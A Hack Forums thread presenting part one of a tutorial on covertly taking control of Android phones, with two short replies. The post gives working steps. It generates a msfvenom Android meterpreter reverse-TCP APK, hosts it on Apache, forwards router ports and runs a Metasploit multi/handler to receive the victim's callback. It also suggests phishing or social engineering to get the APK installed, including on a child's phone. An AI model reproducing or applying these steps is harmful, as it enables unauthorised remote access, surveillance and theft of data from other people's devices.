

Forum:[Hack Forums](#)

Thread: [Taking control of android devices - Tutorial - part 1](#)

2xTheTap115 - May 12, 2020, 4:11 am

I warmly welcome?

In this guide, I decided to describe some cool ways to take control of an Android device over the internet (but also on a local network). For this purpose, we will use publicly available software and the linux system (specifically kali linux). Most of the attacks will be based on generating a malicious file with the .apk extension and forcing the victim to install it on your phone (through, for example, social engineering, phishing or installing it yourself if you have physical access to the device (useful if you want to have control over the device) our child)). Of course, there is the possibility of embedding malicious payload in a PDF file or any other format we choose, it all depends on us but also on the specifics of the attack we use on the victim. In the next part I will present a great script called Fatrat which can automate the process of generating malicious files in many different formats (using the features offered by the Metasploit package). Despite this, I myself am a supporter of generating loads using msfvenom. Below is a list of the software used in this tutorial.

SOFTWARE:

Code - Ghost framework

- Fatrat

- Metasploit Framework

- Apache2

First of all, the most important thing for us will be to get the IP address of our victim. The matter is quite simple when the victim of our attack is in our local network, just use the well-known to everyone nmap or a great tool called netdiscover to know him. It is more difficult when the victim is outside our network (e.g. to connect to the Internet a goat with data transmission in a cellular network). Of course, a very useful tool in this situation is Shodan in which you can literally find all possible types of devices from smartwatches to IoT devices, or use the so-called Canary Token (in a simplified way it is a link that we can generate and send to our victim and as soon as she clicks on it, the selected data about the user will be automatically collected and sent, including the IP address. I will put here a link to a great tutorial which is better than I discuss this issue:[LINK](#)). Of course, there are a lot of methods to get an address and to describe them all here would not be enough and this guide is not the goal. Therefore, for our needs, let's assume that we have the victim's IP address, which will facilitate our work on examples. The first step to do will be to set up port forwarding at the router level for our "attacking" machine. To do this, just log in to the router management panel (or use the router's CLI interface if of course this is possible) and go to the port forwarding tab in your firewall settings. In the settings, we choose the interface which the redirection is to apply to, give the IP address of our machine with the linux system and then specify the port to be forwarded from the router's external interface to the internal interface. The main purpose of this action is to be able to get a reverse connection from an external network (in this case the internet) to our local network. At this point, it is worth to save the external address of our router that we will need for later configuration. Once this is done, the next step will be to start the apache server on which we will place the malicious apk file. To run it, issue the command:

Code service apache2 start

Now we can check the correct operation of our server by displaying the default server page in the browser. So let's type in the browser:

Code ADDRESS_IP_KALI_LINUX:NUMBER_PORT (usually it will be port 80 or 8001)

When everything works correctly we can go to generate the apk file. As I mentioned at the beginning of this guide, we can use the fatrat program for this purpose. The program itself is great and can generate not only files with the apk extension, but using msfvenom will be a better solution. Why? The answer is simple, the fatrat script automates the process of creating malicious files, so we really don't have a chance to learn how to properly generate such files "manually". That is why I leave this program to you, and I will focus more on describing msfvenom. As you will soon see, it is more flexible in operation than any other program. Now generate the file using the following command:

```
Code msfvenom -p android/meterpreter/reverse_tcp LHOST=ROUTER_IP_ADDRESS  
LPORT=PORT_NUMBER R > /var/www/html/filename.apk
```

The command itself is not difficult to read. At the beginning we tell the command what exactly load we want to use. We provide parameters such as IP address and port number (the one we set at the very beginning in the redirection settings) and at the end we send ourload to the file with the apk extension and put it on our server. However, it is worth mentioning one essential thing here. In the LHOST parameter we provide the address of the EXTERNAL interface of our router (i.e. the so-called external ip address). This will enable connecting our victim with our handler in the internal network. similarly, if the victim is in our local network, the router's internal address should be set as the LHOST parameter (usually 192.168.0.1). This is quite an important act without which our attack will fail. The next step to complete will be to start a handler who will take over our callback from the victim. So we will run the mestasploit package with the following command:

Code msfconsole

Let's tell the program that we want to use the handler module:

Code use exploit/multi/handler

Now let's tell metasploit what charge we use:

Code set payload android/meterpreter/reverse_tcp

Then set the LHOST parameters to the address of our attacking machine and LPORT to the port number indicated in the redirection:

Code set LHOST=ADDRESS_IP_KALI_LINUX

Code set LPORT=PORT_NUMBER

Now we have to run the handler with the command:

Code exploit

The final step to take will be to get our victim to download our malicious Android file and install it on your phone. We can do this in many ways, I'm sure it won't be a problem for you. For the purposes of this guide, take your own phone in your hand, open your browser and enter in the address bar:

Code EXTERNAL

ROUTER_IP_ADDRESS:APACHE_SERVER_PORT_NUMBER/FILE_NAME.APK

Now download the apk file and install and run it. When you get to the window with the handler now you should see that a meterpreter session has been created. From this moment you have full access to the device

xuvert - May 23, 2020, 8:28 pm

Interesting post dude, i'll give it a try.

Thanks for sharing.

2xTheTap115 - May 24, 2020, 12:08 am

(May 23, 2020 08:28 PM)xuvert Wrote: [\[CITE\]](#) Interesting post dude, i'll give it a try.

Thanks for sharing.

No problem mate? if you have any problems write to me I am happy to help??